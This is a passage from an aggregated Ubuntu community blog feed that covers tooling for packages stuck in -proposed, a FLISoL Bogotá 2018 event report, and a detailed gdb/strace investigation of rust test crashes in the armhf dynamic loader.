Page -1-. Press any key for next page or Q to select a package.
Which package do you want to look at? 9
Next steps for schleuder 3.2.2-1:
  Fix missing builds: amd64
     https://launchpad.net/ubuntu/+source/schleuder/3.2.2-1

If you specify which package you want to look at, it will give you the specifics for that package (examples here are for what is currently in -proposed):
$ ./ubuntu-archive-assistant proposed -s qesteidutil
Next steps for qesteidutil 0.3.1-0ubuntu4:
  Fix missing builds: amd64, arm64, armhf, i386, ppc64el, s390x
     https://launchpad.net/ubuntu/+source/qesteidutil/0.3.1-0ubuntu4
$ ./ubuntu-archive-assistant proposed -s android-platform-system-core
Next steps for android-platform-system-core 1:7.0.0+r33-2build1:
  Fix missing builds: amd64, arm64, armhf, i386
     https://launchpad.net/ubuntu/+source/android-platform-system-core/1:7.0.0+r33-2build1 

You can even get more information about the next steps for a package, by enabling --debug or --verbose:

$ ./ubuntu-archive-assistant proposed -s live-config                 Next steps for live-config 5.20180224:
  Fix unsatisfiable dependencies in live-config:

$ ./ubuntu-archive-assistant proposed --verbose -s live-config
live-config is not considered ✘
Next steps for live-config 5.20180224:
  Fix unsatisfiable dependencies in live-config:
    sysvinit-core | sysvinit (<< 2.88dsf-44) can not be satisfied on amd64 ✘
      sysvinit-core only exists in Debian ✘
 
$ ./ubuntu-archive-assistant proposed --debug -s live-config
live-config is not considered ✘
Next steps for live-config 5.20180224:
DEBUG: reasons: ['depends'] 
  Fix unsatisfiable dependencies in live-config:
    sysvinit-core | sysvinit (<< 2.88dsf-44) can not be satisfied on amd64 ✘
      sysvinit-core only exists in Debian ✘
         DEBUG: Is this package blacklisted? Should it be synced?

We've covered some of the common reasons for a package to be stuck in proposed, but there are a ton of others. We'll need help to improve the tooling and make it useful for everyone wishing to work on proposed migration. There's a lot more that can be done, including spending time to parse update_output.txt (or better yet, a YAML representation of it) and testing package installation automatically to figure out what packages need no-change rebuilds, etc. A lot of it is integration of other tools that already exist.

That's where you come in.

This is a great way to learn a lot more about what happens to packages after they are uploaded, and what more you can do to ensure your own uploads move quickly to be accessible to all Ubuntu users; and many of the improvements can be as simple as contributing a simple test for one failure case for packages in -proposed.

More to come about ubuntu-archive-assistant. There are other subcommands in it than just "proposed". :)]]> Mathieu Trudel Flisol Bogotá 2018 https://jhosman.com/en/locoteams/flisol-bogota-2018/ https://jhosman.com/en/locoteams/flisol-bogota-2018/ Tue, 08 May 2018 01:49:07 GMT

Flisol Bogota 2018

On April 28, we celebrated in the best way the Latin American Free Software Installation Festival (FLISoL) in Bogotá. FLISoL is the biggest event for the dissemination of Free Software in Latin America in which more than 20 countries together around 240 events recorded for this 2018 In Bogota part will take place in theFundación Tecnológica Autónoma de Bogotá FABA (Carrera 14 N° 80 – 35) from 9 a. m. Saturday April 28 this year with free entry. The Flisol Bogotá 2018, is one of the largest in Latin America with the largest number of attendees.

The Latin American Festival of Installation of Free Software is designed for students, academics, businessmen, workers, civil servants, enthusiasts and the general public to raise awareness of our philosophy, scope, progress and development around Free Software, and share these citizens using ICT freedoms and opportunities that this provides. In Colombia it is the 14th time it is held in Bogota since 2005.

On this occasion, the festival allowed us to observe that free culture, beyond being a space for the installation of software distributions, operating systems (Linux) or programs that promote the opening of the Internet and the empowerment of people with respect to technology, is a form to contribute and build societies.

There were more than 1,600 people who participated in more than 90 activities that included lectures, workshops, panels, spaces for children -FLISoL Kids-, a cinema of free culture, music, origami and much more.

We had two international speakers of whom we are very grateful to have shared this wonderful experience: Nuritzi Sanchez President, Board of Directors at GNOME Foundation; Founding Member, Ecosystem Team Manager at Endless and Jorge Luis Batista Automatic engineer, Cuban enthusiast of Open Street Map.

We greatly appreciate the support provided by the International Community of Ubuntu and also the Canonical team for making this possible, and we look forward to continue helping in Colombia more and more in the future.

ads

We also had an installation area where the largest number of operating systems were Ubuntu Bionic 18.04 LTS

 

The stand of the Community Ubuntu Colombia:

All Festival information is on the website: www.flisolbogota.org and you can see the programation in: www.flisolbogota.org/programacion 

Any additional information may be requested at the info@flisolbogota.org mail or in our social networks Twitter:flisol_bogota or Facebook: Flisol Bogota

Photos of the Event: https://www.flickr.com/search/?text=flisol%20bogota&sort=date-posted-desc

You can see All reactions of Twitter, photos and videos in:

]]> Jhosman Lizarazo Debugging the debugger https://chriscoulson.me.uk/blog/?p=295 https://chriscoulson.me.uk/blog/?p=295 Wed, 02 May 2018 21:02:46 GMT I use gdb quite often, but until recently I’ve never really needed to understand how it works or debug it before. I thought I’d document a recent issue I decided to take a look at – perhaps someone else will find it interesting or useful.

We run the rust testsuite when building rustc packages in Ubuntu. When preparing updates to rust 1.25 recently for Ubuntu 18.04 LTS, I hit a bunch of test failures on armhf which all looked very similar. Here’s an example test failure:

---- [debuginfo-gdb] debuginfo/borrowed-c-style-enum.rs stdout ----

NOTE: compiletest thinks it is using GDB with native rust support
executing "/<<BUILDDIR>>/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/stage2/bin/rustc" "/<<BUILDDIR>>/rustc-1.25.0+dfsg1+llvm/src/test/debuginfo/borrowed-c-style-enum.rs" "-L" "/<<BUILDDIR>>/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo" "--target=armv7-unknown-linux-gnueabihf" "-C" "prefer-dynamic" "-o" "/<<BUILDDIR>>/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.stage2-armv7-unknown-linux-gnueabihf" "-Crpath" "-Zmiri" "-Zunstable-options" "-Lnative=/<<BUILDDIR>>/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/native/rust-test-helpers" "-g" "-L" "/<<BUILDDIR>>/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.stage2-armv7-unknown-linux-gnueabihf.gdb.aux"
------stdout------------------------------

------stderr------------------------------

------------------------------------------
NOTE: compiletest thinks it is using GDB version 8001000
executing "/usr/bin/gdb" "-quiet" "-batch" "-nx" "-command=/<<BUILDDIR>>/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.debugger.script"
------stdout------------------------------
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Breakpoint 1 at 0xcc4: file /<<BUILDDIR>>/rustc-1.25.0+dfsg1+llvm/src/test/debuginfo/borrowed-c-style-enum.rs, line 61.

Program received signal SIGSEGV, Segmentation fault.
0xf77c9f4e in ?? () from /lib/ld-linux-armhf.so.3

------stderr------------------------------
/<<BUILDDIR>>/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.debugger.script:10: Error in sourced command file:
No symbol 'the_a_ref' in current context

------------------------------------------

error: line not found in debugger output: $1 = borrowed_c_style_enum::ABC::TheA
status: exit code: 0
command: "/usr/bin/gdb" "-quiet" "-batch" "-nx" "-command=/<<BUILDDIR>>/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.debugger.script"
stdout:
------------------------------------------
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Breakpoint 1 at 0xcc4: file /<<BUILDDIR>>/rustc-1.25.0+dfsg1+llvm/src/test/debuginfo/borrowed-c-style-enum.rs, line 61.

Program received signal SIGSEGV, Segmentation fault.
0xf77c9f4e in ?? () from /lib/ld-linux-armhf.so.3

------------------------------------------
stderr:
------------------------------------------
/<<BUILDDIR>>/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.debugger.script:10: Error in sourced command file:
No symbol 'the_a_ref' in current context

------------------------------------------

thread '[debuginfo-gdb] debuginfo/borrowed-c-style-enum.rs' panicked at 'explicit panic', tools/compiletest/src/runtest.rs:2891:9
note: Run with `RUST_BACKTRACE=1` for a backtrace.

The failing tests are all running some commands in gdb, and the inferior (tracee) is crashing inside the dynamic loader (/lib/ld-linux-armhf.so.3) before running any rust code.

I managed to recreate this test failure on an armhf box, but when I installed the debug symbols for the dynamic loader (contained in the libc6-dbg package) so that I could attempt to debug these crashes, the failing tests all started to pass.

A quick search on the internet shows that I’m not the first person to hit this issue – for example, this bug reported in April 2016. According to the comments, the workaround is the same – installing the debug symbols for the dynamic loader (by installing the libc6-dbg package). This obviously isn’t right and I don’t particularly like walking away from something like this without understanding it, so I decided to spend some time trying to figure out what is going on.

This first thing I did was to load the missing debug symbols manually in gdb after hitting the crash, in order to hopefully get a useful backtrace:

$ gdb build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.stage2-armv7-unknown-linux-gnueabihf
...
(gdb) run                                           
Starting program: /home/ubuntu/src/rustc/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.stage2-armv7-unknown-linux-gnueabihf

Program received signal SIGSEGV, Segmentation fault.
0xf77c9f4e in ?? () from /lib/ld-linux-armhf.so.3
(gdb) info sharedlibrary
From        To          Syms Read   Shared Object Library                                                
0xf77c7a40  0xf77dadd0  Yes (*)     /lib/ld-linux-armhf.so.3                                             
0xf771ce90  0xf778e288  No          /home/ubuntu/src/rustc/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/../../stage2/lib/rustlib/armv7-unknown-linux-gnueabihf/lib/libstd-42d13165275d0302.so
0xf76c91f0  0xf76d394c  No          /lib/arm-linux-gnueabihf/libgcc_s.so.1
0xf75dad80  0xf7687a90  No          /lib/arm-linux-gnueabihf/libc.so.6
0xf75b1a14  0xf75b2410  No          /lib/arm-linux-gnueabihf/libdl.so.2
0xf759c810  0xf759edf0  No          /lib/arm-linux-gnueabihf/librt.so.1
0xf757a210  0xf7585214  No          /lib/arm-linux-gnueabihf/libpthread.so.0
(*): Shared library is missing debugging information.
(gdb) add-symbol-file ~/libc6-syms/usr/lib/debug/lib/arm-linux-gnueabihf/ld-2.27.so 0xf77c7a40
add symbol table from file "/home/ubuntu/libc6-syms/usr/lib/debug/lib/arm-linux-gnueabihf/ld-2.27.so" at
        .text_addr = 0xf77c7a40
(y or n) y
Reading symbols from /home/ubuntu/libc6-syms/usr/lib/debug/lib/arm-linux-gnueabihf/ld-2.27.so...done.
(gdb) bt full
#0  dl_main (phdr=<optimized out>, phnum=<optimized out>, user_entry=<optimized out>, auxv=<optimized out>) at rtld.c:2275
        cnt = 1
        afct = 0x0
        head = <optimized out>
        ph = <optimized out>
        mode = <optimized out>
        main_map = <optimized out>
        file_size = 4294899100
        file = <optimized out>
        has_interp = <optimized out>
        i = <optimized out>
        prelinked = <optimized out>
        rtld_is_main = <optimized out>
        tcbp = <optimized out>
        __PRETTY_FUNCTION__ = <error reading variable __PRETTY_FUNCTION__ (Cannot access memory at address 0x15810)>
        first_preload = <optimized out>
        r = <optimized out>
        rtld_ehdr = <optimized out>
        rtld_phdr = <optimized out>
        cnt = <optimized out>
        need_security_init = <optimized out>
        count_modids = <optimized out>
        preloads = <optimized out>
        npreloads = <optimized out>
        preload_file = <error reading variable preload_file (Cannot access memory at address 0x157fc)>
        rtld_multiple_ref = <optimized out>
        was_tls_init_tp_called = <optimized out></details>
#1  0xf77d76d0 in _dl_sysdep_start (start_argptr=start_argptr@entry=0xfffef6b1, dl_main=0xf77c872d <dl_main>) at ../elf/dl-sysdep.c:253
        phdr = <optimized out>
        phnum = <optimized out>
        user_entry = 4197241
        av = <optimized out>
#2  0xf77c8260 in _dl_start_final (arg=0xfffef6b1) at rtld.c:414
        start_addr = <optimized out>
        start_addr = <optimized out>
#3  _dl_start (arg=0xfffef6b1) at rtld.c:521
        entry = <optimized out>
#4  0xf77c7b90 in ?? () from /lib/ld-linux-armhf.so.3
        library_path = <error reading variable library_path (Cannot access memory at address 0x28920)>
        version_info = <error reading variable version_info (Cannot access memory at address 0x28918)>
        any_debug = <error reading variable any_debug (Cannot access memory at address 0x28914)>
        _dl_rtld_libname = <error reading variable _dl_rtld_libname (Cannot access memory at address 0x298a8)>
        _dl_rtld_libname2 = <error reading variable _dl_rtld_libname2 (Cannot access memory at address 0x298b4)>
        tls_init_tp_called = <error reading variable tls_init_tp_called (Cannot access memory at address 0x29898)>
        audit_list = <error reading variable audit_list (Cannot access memory at address 0x298a4)>
        preloadlist = <error reading variable preloadlist (Cannot access memory at address 0x2891c)>
        _dl_skip_args = <error reading variable _dl_skip_args (Cannot access memory at address 0x2994c)>
        audit_list_string = <error reading variable audit_list_string (Cannot access memory at address 0x29968)>
        __stack_chk_guard = <error reading variable __stack_chk_guard (Cannot access memory at address 0x28968)>
        _rtld_global = <error reading variable _rtld_global (Cannot access memory at address 0x29060)>
        _rtld_global_ro = <error reading variable _rtld_global_ro (Cannot access memory at address 0x28970)>
        _dl_argc = <error reading variable _dl_argc (Cannot access memory at address 0x28910)>
        __GI__dl_argv = <error reading variable __GI__dl_argv (Cannot access memory at address 0x29894)>
        __pointer_chk_guard_local = <error reading variable __pointer_chk_guard_local (Cannot access memory at address 0x28964)>

You can grab the glibc source and see that the dynamic loader ends up here in elf/rtld.c:

if (__glibc_unlikely (GLRO(dl_naudit) > 0))
  {
    struct link_map *head = GL(dl_ns)[LM_ID_BASE]._ns_loaded;
    /* Do not call the functions for any auditing object.  */
    if (head->l_auditing == 0)
      {
        struct audit_ifaces *afct = GLRO(dl_audit);
        for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt)
          {
            if (afct->activity != NULL) // ##CRASHES HERE##
              afct->activity (&head->l_audit[cnt].cookie, LA_ACT_CONSISTENT);

            afct = afct->next;
          }
      }
  }

The reason for the crash is that afct is NULL:

(gdb) p $_siginfo
$1 = {si_signo = 11, si_errno = 0, si_code = 1, _sifields = {_pad = {0, 56, 19628232, 19628288, -156661788, 0, 80, 19811416, -156663808, -157316581, 104, 1073741824, 19811416, 96, 19811408, 80, -156661788, 14, 
      19551104, 96, 104, 13358248, 19551584, 19552160, 19552232, 19811488, 32, 128, 64}, _kill = {si_pid = 0, si_uid = 56}, _timer = {si_tid = 0, si_overrun = 56, si_sigval = {sival_int = 19628232, 
        sival_ptr = 0x12b80c8}}, _rt = {si_pid = 0, si_uid = 56, si_sigval = {sival_int = 19628232, sival_ptr = 0x12b80c8}}, _sigchld = {si_pid = 0, si_uid = 56, si_status = 19628232, si_utime = 19628288, 
      si_stime = -156661788}, _sigfault = {si_addr = 0x0}, _sigpoll = {si_band = 0, si_fd = 56}}}
(gdb) p afct
$2 = (struct audit_ifaces *) 0x0

A quick look through the dynamic loader code shows that this condition should be impossible to hit.

As the crash doesn’t happen with debug symbols, I thought I would attempt to debug it without the symbols. First of all, I set a breakpoint at the start of dl_main by specifying it at offset 0xcec in the .text section:

$ gdb build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.stage2-armv7-unknown-linux-gnueabihf
...
(gdb) starti
Starting program: /home/ubuntu/src/rustc/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.stage2-armv7-unknown-linux-gnueabihf

Program stopped.
0xf77c7b80 in ?? () from /lib/ld-linux-armhf.so.3
(gdb) info sharedlibrary
From        To          Syms Read   Shared Object Library
0xf77c7a40  0xf77dadd0  Yes (*)     /lib/ld-linux-armhf.so.3
(*): Shared library is missing debugging information.
(gdb) break *0xf77c872c
Breakpoint 1 at 0xf77c872c
(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xf77da458 in ?? () from /lib/ld-linux-armhf.so.3

Huh? It’s now crashed at a different place, without hitting our breakpoint at the start of dl_main. Loading the debug symbols again shows us where:

(gdb) add-symbol-file ~/libc6-syms/usr/lib/debug/lib/arm-linux-gnueabihf/ld-2.27.so 0xf77c7a40
add symbol table from file "/home/ubuntu/libc6-syms/usr/lib/debug/lib/arm-linux-gnueabihf/ld-2.27.so" at
        .text_addr = 0xf77c7a40
(y or n) y
Reading symbols from /home/ubuntu/libc6-syms/usr/lib/debug/lib/arm-linux-gnueabihf/ld-2.27.so...done.
(gdb) bt
#0  ?? () at ../sysdeps/arm/armv7/multiarch/memcpy_impl.S:654 from /lib/ld-linux-armhf.so.3
#1  0xf77c871e in handle_ld_preload (preloadlist=<optimized out>, main_map=0x0) at rtld.c:848
#2  0x00000000 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)

This doesn’t make much sense, but the fact that setting a breakpoint has altered the program flow is our first clue.

On Linux, gdb interacts with the inferior using the ptrace system call. The next thing I wanted to try was running gdb in strace in order to capture the ptrace syscalls, so that I could compare differences afterwards and see if I could find any more clues.

I created the following simple gdb command file:

file /home/ubuntu/src/rustc/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.stage2-armv7-unknown-linux-gnueabihf
run
quit

I then ran gdb with this file inside strace, with the symbols for the dynamic loader installed. Here’s the log up until the point at which gdb calls PTRACE_CONT:

$ strace -t -eptrace gdb -quiet -batch -nx -command=~/test.script
13:08:35 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=21136, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
...
13:08:35 ptrace(PTRACE_GETREGS, 21137, NULL, 0xffd6afec) = 0
13:08:35 ptrace(PTRACE_GETSIGINFO, 21137, NULL, {si_signo=SIGTRAP, si_code=SI_USER, si_pid=21137, si_uid=1000}) = 0
13:08:35 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21137, si_uid=1000, si_status=SIGTRAP, si_utime=0, si_stime=0} ---
13:08:35 ptrace(PTRACE_CONT, 21137, 0x1, SIG_0) = 0
13:08:35 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21137, si_uid=1000, si_status=SIGTRAP, si_utime=0, si_stime=0} ---
13:08:35 ptrace(PTRACE_GETREGS, 21137, NULL, 0xffd6afec) = 0
13:08:35 ptrace(PTRACE_GETSIGINFO, 21137, NULL, {si_signo=SIGTRAP, si_code=SI_USER, si_pid=21137, si_uid=1000}) = 0
13:08:35 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21138, si_uid=1000, si_status=SIGSTOP, si_utime=0, si_stime=0} ---
13:08:35 ptrace(PTRACE_SETOPTIONS, 21138, NULL, PTRACE_O_TRACESYSGOOD) = 0
13:08:35 ptrace(PTRACE_SETOPTIONS, 21138, NULL, PTRACE_O_TRACEFORK) = 0
13:08:35 ptrace(PTRACE_SETOPTIONS, 21138, NULL, PTRACE_O_TRACEFORK|PTRACE_O_TRACEVFORKDONE) = 0
13:08:35 ptrace(PTRACE_CONT, 21138, NULL, SIG_0) = 0
13:08:35 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21138, si_uid=1000, si_status=SIGTRAP, si_utime=0, si_stime=0} ---
13:08:35 ptrace(PTRACE_GETEVENTMSG, 21138, NULL, [21139]) = 0
13:08:35 ptrace(PTRACE_KILL, 21139)     = 0
13:08:35 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_KILLED, si_pid=21139, si_uid=1000, si_status=SIGKILL, si_utime=0, si_stime=0} ---
13:08:35 ptrace(PTRACE_SETOPTIONS, 21138, NULL, PTRACE_O_EXITKILL) = 0
13:08:35 ptrace(PTRACE_KILL, 21138)     = 0
13:08:35 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21138, si_uid=1000, si_status=SIGCHLD, si_utime=0, si_stime=0} ---
13:08:35 ptrace(PTRACE_KILL, 21138)     = 0
13:08:35 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_KILLED, si_pid=21138, si_uid=1000, si_status=SIGKILL, si_utime=0, si_stime=0} ---
13:08:35 ptrace(PTRACE_SETOPTIONS, 21137, NULL, PTRACE_O_TRACESYSGOOD|PTRACE_O_TRACEFORK|PTRACE_O_TRACEVFORK|PTRACE_O_TRACECLONE|PTRACE_O_TRACEEXEC|PTRACE_O_TRACEVFORKDONE|PTRACE_O_EXITKILL) = 0
13:08:35 ptrace(PTRACE_GETREGSET, 21137, NT_PRSTATUS, [{iov_base=0xffd6b3b4, iov_len=72}]) = 0
13:08:35 ptrace(PTRACE_GETVFPREGS, 21137, NULL, 0xffd6b298) = 0
13:08:35 ptrace(PTRACE_GETREGSET, 21137, NT_PRSTATUS, [{iov_base=0xffd6b36c, iov_len=72}]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0x411efc, [NULL]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0x411efc, [NULL]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9a44, [0x4c18bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9a44, [0x4c18bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9a44, [0x4c18bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9a44, [0x4c18bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9a44, [0x4c18bf00]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77c9a44, 0x4c18de01) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9ef8, [0xf00cbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9ef8, [0xf00cbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9ef8, [0xf00cbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9ef8, [0xf00cbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9ef8, [0xf00cbf00]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77c9ef8, 0xf00cde01) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb5b8, [0x603cbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb5b8, [0x603cbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb5b8, [0x603cbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb5b8, [0x603cbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb5b8, [0x603cbf00]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77cb5b8, 0x603cde01) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb220, [0x4639bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb220, [0x4639bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb220, [0x4639bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb220, [0x4639bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb220, [0x4639bf00]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77cb220, 0x4639de01) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5310, [0xbf00e71c]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5310, [0xbf00e71c]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5310, [0xbf00e71c]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5310, [0xbf00e71c]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5310, [0xbf00e71c]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77d5310, 0xde01e71c) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5bb0, [0x6d7bbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5bb0, [0x6d7bbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5bb0, [0x6d7bbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5bb0, [0x6d7bbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5bb0, [0x6d7bbf00]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77d5bb0, 0x6d7bde01) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5d90, [0xe681bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5d90, [0xe681bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5d90, [0xe681bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5d90, [0xe681bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5d90, [0xe681bf00]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77d5d90, 0xe681de01) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9a44, [0x4c18de01]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77c9a44, 0x4c18bf00) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb5b8, [0x603cde01]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77cb5b8, 0x603cbf00) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb220, [0x4639de01]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77cb220, 0x4639bf00) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5bb0, [0x6d7bde01]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77d5bb0, 0x6d7bbf00) = 0
13:08:35 ptrace(PTRACE_CONT, 21137, 0x1, SIG_0) = 0

First of all, notice that there are several PTRACE_POKEDATA calls. These are used by gdb to write to memory locations in the process that we’re debugging, eg, to set breakpoints. For more information about how breakpoints work in gdb, this blog post has some good information. Basically, gdb writes an invalid instruction to the breakpoint location and this causes a SIGTRAP when executed, which is intercepted by gdb. When you continue over the breakpoint, gdb writes the original instruction back, single-steps over it, re-writes the invalid instruction and then continues execution.

This is an obvious way in which gdb can interfere with our process and make it crash, so I focused on these calls. I’ve filtered them out below:

13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77c9a44, 0x4c18de01) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77c9ef8, 0xf00cde01) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77cb5b8, 0x603cde01) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77cb220, 0x4639de01) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77d5310, 0xde01e71c) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77d5bb0, 0x6d7bde01) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77d5d90, 0xe681de01) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77c9a44, 0x4c18bf00) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77cb5b8, 0x603cbf00) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77cb220, 0x4639bf00) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77d5bb0, 0x6d7bbf00) = 0

Notice that the first 7 of these write the same 2-byte sequence – 0xde01. These are breakpoints in code that is running in Thumb mode (see arm_linux_thumb_le_breakpoint in gdb/arm-linux-tdep.c in the gdb source code). 0xde01 in Thumb mode is an undefined instruction.

(Note that the write to 0xf77d5310 is actually a breakpoint at 0xf77d5312, as 0xde01 appears in the 2 higher order bytes and this is little-endian).

We aren’t inserting any breakpoints ourselves – these breakpoints are set automatically by gdb to monitor various events in the dynamic loader during startup. This is something I wasn’t aware of before debugging this.

It may be useful to know how gdb determines the addresses on which to set breakpoints at startup. The dynamic loader exports various events as SystemTap probes, and data about these is stored in the .note.stapsdt ELF section. We can inspect this using readelf:

$ readelf -n /lib/ld-linux-armhf.so.3

Displaying notes found in: .note.gnu.build-id                                                            
  Owner                 Data size       Description                          
  GNU                  0x00000014       NT_GNU_BUILD_ID (unique build ID bitstring)                      
